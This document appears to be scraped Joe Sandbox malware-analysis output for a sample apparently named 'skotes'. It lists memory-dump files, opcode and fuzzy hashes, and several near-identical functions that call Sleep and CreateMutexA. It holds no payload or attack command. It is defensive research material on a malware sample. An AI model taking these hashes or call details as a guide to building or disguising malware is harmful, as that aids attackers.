Associated: 00000003.00000002.2119645221.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119679356.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119707392.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119734803.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119764312.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119790006.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119874703.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119901450.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119924397.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119950051.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119985628.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120012407.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120036223.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0ad2a825356fd86273fc39be8b4d08b877d22f809527073a7c177ce8d184ae0f
Instruction ID: 63b9cef04237fb99262e802c4d72b7d92ef439687b611d54f6914175f22a1b26
Opcode Fuzzy Hash: 0ad2a825356fd86273fc39be8b4d08b877d22f809527073a7c177ce8d184ae0f
Instruction Fuzzy Hash: 0E3128316001048BEF08DB68DC957ADB7F6EF85310F208699E014EB3D5CB7AA9818B52

Function 00B6A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000003.00000002.2116606734.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116756890.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117273425.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117385819.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117415425.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117442637.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117599673.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118199461.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118336347.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118648254.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118725500.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118781695.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118813919.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118870732.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118932204.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118961607.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118988988.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119016799.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119040527.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119064994.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119089716.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119115731.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119178558.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119203877.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119237113.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119264902.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119290792.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119318465.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119348593.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119375128.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119401754.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119430927.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119463978.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119484998.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119510726.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119533622.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119557923.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119582082.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119614856.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119645221.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119679356.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119707392.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119734803.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119764312.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119790006.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119874703.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119901450.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119924397.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119950051.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119985628.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120012407.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120036223.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8717db7f2906b80a3a5d2a7afd6740565f35dd030ae6db90074e8e61b6f7af77
Instruction ID: 20874f50e0ea79e432a8206de137159a20eaf6807fa11b846dbf1bc66ccffc18
Opcode Fuzzy Hash: 8717db7f2906b80a3a5d2a7afd6740565f35dd030ae6db90074e8e61b6f7af77
Instruction Fuzzy Hash: 2B3128317001049BEF08DB78CCC9B6DB7F2DF86314F248299E014BB7D5CB7A99808A52

Function 00B6A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000003.00000002.2116606734.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116756890.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117273425.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117385819.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117415425.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117442637.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117599673.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118199461.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118336347.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118648254.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118725500.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118781695.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118813919.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118870732.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118932204.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118961607.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118988988.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119016799.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119040527.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119064994.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119089716.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119115731.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119178558.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119203877.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119237113.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119264902.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119290792.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119318465.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119348593.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119375128.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119401754.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119430927.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119463978.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119484998.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119510726.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119533622.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119557923.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119582082.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119614856.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119645221.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119679356.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119707392.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119734803.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119764312.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119790006.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119874703.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119901450.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119924397.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119950051.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119985628.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120012407.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120036223.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c5fe7a3cccf1fb9aa726a2891a0e0a236c119fa8e7a1f615d2cf589f28541286
Instruction ID: 48e0797285f83d071b6b0ddffc5c6ab26473f695e226ad119af318fd5236c129
Opcode Fuzzy Hash: c5fe7a3cccf1fb9aa726a2891a0e0a236c119fa8e7a1f615d2cf589f28541286
Instruction Fuzzy Hash: 0E3105316001049BEF08DB68DCC9B6DB7F6EF86310F248299E014BB3D5DB7A99808A12

Function 00B6A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000003.00000002.2116606734.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116756890.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117273425.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117385819.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117415425.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117442637.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117599673.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118199461.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118336347.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118648254.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118725500.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118781695.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118813919.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118870732.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118932204.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118961607.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118988988.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119016799.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119040527.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119064994.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119089716.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119115731.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119178558.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119203877.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119237113.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119264902.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119290792.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119318465.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119348593.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119375128.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119401754.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119430927.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119463978.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119484998.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119510726.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119533622.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119557923.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119582082.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119614856.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119645221.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119679356.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119707392.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119734803.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119764312.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119790006.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119874703.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119901450.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119924397.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119950051.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119985628.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120012407.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120036223.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d54cf94500dcfaee98f4d71289b8969996a097408704c6e4d317b4dd574fb621
Instruction ID: e60ab4eb86b4b5ee50c2e434b8f0f375cd66ab0afa16a02321dcc787f05794d6
Opcode Fuzzy Hash: d54cf94500dcfaee98f4d71289b8969996a097408704c6e4d317b4dd574fb621
Instruction Fuzzy Hash: C03105316001049BEF08EB78DC89B6DB7F6EFC5314F248299E014AB7D5DFB999C08A56

Function 00B6A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000003.00000002.2116606734.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116756890.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117273425.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117385819.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117415425.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117442637.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117599673.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118199461.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118336347.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118648254.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118725500.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118781695.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118813919.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118870732.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118932204.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118961607.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118988988.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119016799.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119040527.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119064994.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119089716.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119115731.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119178558.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119203877.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119237113.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119264902.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119290792.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119318465.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119348593.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119375128.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119401754.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119430927.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119463978.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119484998.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119510726.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119533622.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119557923.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119582082.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119614856.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119645221.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119679356.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119707392.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119734803.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119764312.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119790006.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119874703.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119901450.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119924397.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119950051.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119985628.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120012407.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120036223.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 103c0ab92c72f652c774a055675bb655753f6c66aa470d219bd7913f014e2691
Instruction ID: ecea210df5e472106ebe51bf720658e2884d48d9cc7a5f85d50f591daaae34ec
Opcode Fuzzy Hash: 103c0ab92c72f652c774a055675bb655753f6c66aa470d219bd7913f014e2691
Instruction Fuzzy Hash: E43118316001048BEF08DB78DCC9B6DB7F6EF85314F248299E015AB7D5CB79D9818B12

